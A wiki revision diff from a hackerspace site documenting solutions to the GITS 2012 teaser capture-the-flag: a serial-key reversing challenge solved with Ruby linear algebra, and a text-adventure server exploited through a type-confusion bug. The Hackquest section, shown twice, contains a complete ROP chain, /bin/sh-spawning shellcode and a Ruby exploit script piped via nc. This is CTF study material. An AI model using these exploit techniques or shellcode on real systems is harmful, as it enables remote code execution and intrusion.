Difference between revisions of "Gits2012teaser"
From Fixme.ch
(→#1 TelAviv) |
(→#3 Hackquest) |
||
Line 169: | Line 169: | ||
== #3 Hackquest == | == #3 Hackquest == | ||
+ | |||
+ | * Remote system running some sort of text adventure. | ||
+ | * Hint dropped source code partially (extremely helpful) | ||
+ | * Hint from irc: look at the items | ||
+ | * struct ItemInfo contains a union: | ||
+ | |||
+ | <pre> | ||
+ | union | ||
+ | { | ||
+ | void* data; | ||
+ | LocationInfo* newLocation; | ||
+ | struct ItemInfo* newItem; | ||
+ | struct | ||
+ | { | ||
+ | ActionInfo* actionInfo; | ||
+ | char* requiredTarget; | ||
+ | } action; | ||
+ | struct | ||
+ | { | ||
+ | char* name; | ||
+ | struct ItemInfo* newItem; | ||
+ | } namedUnwrap; | ||
+ | } info; | ||
+ | </pre> | ||
+ | |||
+ | * use() has an insufficient test: | ||
+ | |||
+ | <pre> | ||
+ | if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) || | ||
+ | (item->type == ITEM_UNWRAP)) | ||
+ | { | ||
+ | sendMsg(s, "That item can't have a target.\n"); | ||
+ | ok = false; | ||
+ | } | ||
+ | else if (!strcasecmp(item->info.action.requiredTarget, target)) | ||
+ | { | ||
+ | sendMsg(s, item->message); | ||
+ | item->info.action.actionInfo->func(s); | ||
+ | showDesc = item->info.action.actionInfo->showDesc; | ||
+ | } | ||
+ | </pre> | ||
+ | |||
+ | * if we "use letter on $target", we can make it call ->func() | ||
+ | * .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known | ||
+ | * ->func aliases with .name | ||
+ | * the game asks us for our name, and stores this into a 31 byte static buffer | ||
+ | * whatever we use as name will be used as function address to be called -> we captured control flow | ||
+ | * ROP ensues: | ||
+ | * first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection) | ||
+ | * then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset | ||
+ | * our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page | ||
+ | * work around this problem by putting bootstrap shellcode into the static name buffer (see above) | ||
+ | * bootstrap code copies stack-relative buffer to our page, then transfers control: | ||
+ | |||
+ | <pre> | ||
+ | leal 0x41(%esp),%esi # calc source from stack offset | ||
+ | popl %edi # dest addr is already on stack | ||
+ | pushl $0x41 # dest offset so that we don't get overwritten | ||
+ | popl %ecx # duplicates as length | ||
+ | addl %ecx,%edi # add offset | ||
+ | push %edi # store dest for later | ||
+ | rep movsl # copy | ||
+ | popl %edi # retrieve old dest | ||
+ | jmp *%edi # jump there | ||
+ | </pre> | ||
+ | |||
+ | * remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh: | ||
+ | |||
+ | <pre> | ||
+ | pushl %ecx # ecx was cleared by rep above, put 0 on stack | ||
+ | movl 0xAB(%esp),%ebx # get socket fd from stack offset | ||
+ | 1: | ||
+ | pushl $0x3f # dup2 syscall number | ||
+ | popl %eax # into eax | ||
+ | int $0x80 # do syscall | ||
+ | inc %ecx # inc desc2 | ||
+ | cmp $0x3,%cl # do for 0, 1, 2 | ||
+ | jne 1b # repeat | ||
+ | |||
+ | popl %ecx # zero ecx = argv | ||
+ | mull %ecx # zero eax, edx = env | ||
+ | pushl $0x0068732f # /sh\0 | ||
+ | pushl $0x6e69622f # /bin | ||
+ | movl %esp,%ebx # string arg | ||
+ | movb $0xb,%al # execve syscall number | ||
+ | int $0x80 # magic! | ||
+ | </pre> | ||
+ | |||
+ | * cat key.txt | ||
+ | |||
+ | * all combined, use as (ruby h.rb; cat) | nc host 7331 | ||
+ | |||
+ | <pre> | ||
+ | addr = 0x60606000 # our page address | ||
+ | src = 0x804c2a0 # from 0x80498f4 | ||
+ | |||
+ | sockoffset = 0xbc | ||
+ | |||
+ | p = [ | ||
+ | # offset 0 | ||
+ | "use letter on ", | ||
+ | # offset 14 | ||
+ | 0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00], | ||
+ | # offset 31 | ||
+ | " " * (0x44 - 32), # fill | ||
+ | # offset 0x44 | ||
+ | 0x80486d4, # C mmap | ||
+ | 0x8048db5, # L add $0x1c,%esp | ret | ||
+ | addr, # (void *addr, | ||
+ | 4096, # size_t len, | ||
+ | 1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC, | ||
+ | 0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, | ||
+ | 0, # int filedes, | ||
+ | 0, # off_t off) | ||
+ | 0, # filler, also possibly offset | ||
+ | 0x80487d4, # C memcpy | ||
+ | addr, # L addr = shellcode | ||
+ | addr, # (void *dest, | ||
+ | src + 4, # const void *src, | ||
+ | 200, # size_t n). | ||
+ | |||
+ | [ | ||
+ | 0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack | ||
+ | 0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset | ||
+ | [0x6a, 0x3f, # 1: pushl $0x3f # dup2 syscall number | ||
+ | 0x58, # popl %eax # into eax | ||
+ | 0xcd, 0x80, # int $0x80 # do syscall | ||
+ | 0x41, # inc %ecx # inc desc2 | ||
+ | 0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2 | ||
+ | 0x75, 0xf5, # jne 1b # repeat | ||
+ | |||
+ | 0x59, # popl %ecx # zero ecx = argv | ||
+ | 0xf7, 0xe1, # mull %ecx # zero eax, edx = env | ||
+ | 0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0 | ||
+ | 0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin | ||
+ | 0x89, 0xe3, # movl %esp,%ebx # string arg | ||
+ | 0xb0, 0x0b, # movb $0xb,%al # execve syscall number | ||
+ | 0xcd, 0x80 # int $0x80 # magic! | ||
+ | ] | ||
+ | ] | ||
+ | |||
+ | shellcode = 0xc | ||
+ | |||
+ | # this lives at src | ||
+ | namelen = 20 | ||
+ | name = [ | ||
+ | # stack pivot | ||
+ | 0x08049019, # add $0x9c,%esp | ret | ||
+ | |||
+ | # bootstrap shellcode | ||
+ | [ | ||
+ | 0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi | ||
+ | 0x5f, # popl %edi | ||
+ | 0x6a, namelen, # pushl $XXX | ||
+ | 0x59, # popl %ecx | ||
+ | 0x01, 0xcf, # addl %ecx,%edi | ||
+ | 0x57, # push %edi | ||
+ | 0xf3, 0xa5, # rep movsl | ||
+ | 0x5f, # popl %edi | ||
+ | 0xff, 0xe7, # jmp *%edi | ||
+ | ], | ||
+ | ] | ||
+ | |||
+ | all = name + | ||
+ | [ | ||
+ | "\n", | ||
+ | "get can\n", | ||
+ | "use can\n", | ||
+ | "go south\n", | ||
+ | "get letter\n", | ||
+ | ] + | ||
+ | p + ["\n"] | ||
+ | |||
+ | def collapse(a) | ||
+ | a.map do |e| | ||
+ | case e | ||
+ | when Numeric | ||
+ | [e].pack("V") | ||
+ | when Array | ||
+ | e.pack('C*') | ||
+ | else | ||
+ | e.to_s | ||
+ | end | ||
+ | end.join | ||
+ | end | ||
+ | |||
+ | if __FILE__ == $0 | ||
+ | cp = collapse(all) | ||
+ | # puts cp.size | ||
+ | print cp | ||
+ | end | ||
+ | </pre> |
Revision as of 14:10, 8 January 2012
#1 TelAviv
What is the password? (File)
Hint: TeLaViv+ is a packet forensics challenge.
#2 AL's Revenge
- file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
- file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
- analyze disassembly, extract C representation:
int VerifySerial(uint64_t name, uint64_t serial) { uint64_t a = 0x8000000000000000LL; uint64_t b = 0xa348fccd93aea5a7LL; uint64_t result = 0; /* high order bit set? */ if (name & a) a ^= b; if (serial & a) serial ^= b; while (serial != 0) { if (serial & 1) result ^= name; serial >>= 1; name <<= 1; if (name & a) name ^= b; }H return (result == 1); }
- it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
- lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
- The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
- lacking math package fu, implement a gaussian elimination manually:
class Numeric def bits64 sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1} end end def names(name) p = 0xa348fccd93aea5a7 if (name >> 63) & 1 == 1 name ^= p end ([name] + 63.times.map do |i| name <<= 1 if (name >> 63) & 1 == 1 name ^= p end name end).map(&:bits64) end class Array def pivot res = [] self[0].size.times.map do |i| self.size.times.map do |j| self[j][i] end end end def bitary_to_int self.join.to_i(2) end end class Eq < Array attr_accessor :res def initialize(ary, res) self.replace(ary) @res = res end def lead_zero self.take_while{|e| e == 0} end def first_pos self.index(1) end def subtract(o) Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res) end end class EqSys < Array def initialize(ary, res=nil) if !(Eq === ary[0]) && !ary.empty? ary = ary.zip(res).map{|a, r| Eq.new(a, r)} end self.replace(ary) end def sort_by_zeros self.sort do |a, b| a.lead_zero <=> b.lead_zero end end def subtract_eq(eq) pos = eq.first_pos return self if not pos EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e}) end def elim front = EqSys.new([]) cur = nil rest = self.sort_by_zeros while not rest.empty? front << cur if cur cur = rest.shift front = front.subtract_eq(cur) rest = rest.subtract_eq(cur) rest = rest.sort_by_zeros end front << cur front end def to_s self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n") end end require 'pp' if __FILE__ == $0 ns = names(0x6638623261336134) pv = ns.pivot es = EqSys.new(pv, 1.bits64) puts es.to_s puts r = es.elim puts r.to_s res = r.map{|e| e.res}.reverse puts res.bitary_to_int.to_s(16) s0 = r.pivot.last.reverse puts s0.bitary_to_int.to_s(16) puts (res.bitary_to_int^s0.bitary_to_int).to_s(16) end
#3 Hackquest
- Remote system running some sort of text adventure.
- Hint dropped source code partially (extremely helpful)
- Hint from irc: look at the items
- struct ItemInfo contains a union:
union { void* data; LocationInfo* newLocation; struct ItemInfo* newItem; struct { ActionInfo* actionInfo; char* requiredTarget; } action; struct { char* name; struct ItemInfo* newItem; } namedUnwrap; } info;
- use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) || (item->type == ITEM_UNWRAP)) { sendMsg(s, "That item can't have a target.\n"); ok = false; } else if (!strcasecmp(item->info.action.requiredTarget, target)) { sendMsg(s, item->message); item->info.action.actionInfo->func(s); showDesc = item->info.action.actionInfo->showDesc; }
- if we "use letter on $target", we can make it call ->func()
- .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
- ->func aliases with .name
- the game asks us for our name, and stores this into a 31 byte static buffer
- whatever we use as name will be used as function address to be called -> we captured control flow
- ROP ensues:
- first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
- then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
- our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
- work around this problem by putting bootstrap shellcode into the static name buffer (see above)
- bootstrap code copies stack-relative buffer to our page, then transfers control:
leal 0x41(%esp),%esi # calc source from stack offset popl %edi # dest addr is already on stack pushl $0x41 # dest offset so that we don't get overwritten popl %ecx # duplicates as length addl %ecx,%edi # add offset push %edi # store dest for later rep movsl # copy popl %edi # retrieve old dest jmp *%edi # jump there
- remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
pushl %ecx # ecx was cleared by rep above, put 0 on stack movl 0xAB(%esp),%ebx # get socket fd from stack offset 1: pushl $0x3f # dup2 syscall number popl %eax # into eax int $0x80 # do syscall inc %ecx # inc desc2 cmp $0x3,%cl # do for 0, 1, 2 jne 1b # repeat popl %ecx # zero ecx = argv mull %ecx # zero eax, edx = env pushl $0x0068732f # /sh\0 pushl $0x6e69622f # /bin movl %esp,%ebx # string arg movb $0xb,%al # execve syscall number int $0x80 # magic!
- cat key.txt
- all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000 # our page address src = 0x804c2a0 # from 0x80498f4 sockoffset = 0xbc p = [ # offset 0 "use letter on ", # offset 14 0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00], # offset 31 " " * (0x44 - 32), # fill # offset 0x44 0x80486d4, # C mmap 0x8048db5, # L add $0x1c,%esp | ret addr, # (void *addr, 4096, # size_t len, 1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC, 0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, # int filedes, 0, # off_t off) 0, # filler, also possibly offset 0x80487d4, # C memcpy addr, # L addr = shellcode addr, # (void *dest, src + 4, # const void *src, 200, # size_t n). [ 0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack 0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset [0x6a, 0x3f, # 1: pushl $0x3f # dup2 syscall number 0x58, # popl %eax # into eax 0xcd, 0x80, # int $0x80 # do syscall 0x41, # inc %ecx # inc desc2 0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2 0x75, 0xf5, # jne 1b # repeat 0x59, # popl %ecx # zero ecx = argv 0xf7, 0xe1, # mull %ecx # zero eax, edx = env 0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0 0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin 0x89, 0xe3, # movl %esp,%ebx # string arg 0xb0, 0x0b, # movb $0xb,%al # execve syscall number 0xcd, 0x80 # int $0x80 # magic! ] ] shellcode = 0xc # this lives at src namelen = 20 name = [ # stack pivot 0x08049019, # add $0x9c,%esp | ret # bootstrap shellcode [ 0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi 0x5f, # popl %edi 0x6a, namelen, # pushl $XXX 0x59, # popl %ecx 0x01, 0xcf, # addl %ecx,%edi 0x57, # push %edi 0xf3, 0xa5, # rep movsl 0x5f, # popl %edi 0xff, 0xe7, # jmp *%edi ], ] all = name + [ "\n", "get can\n", "use can\n", "go south\n", "get letter\n", ] + p + ["\n"] def collapse(a) a.map do |e| case e when Numeric [e].pack("V") when Array e.pack('C*') else e.to_s end end.join end if __FILE__ == $0 cp = collapse(all) # puts cp.size print cp end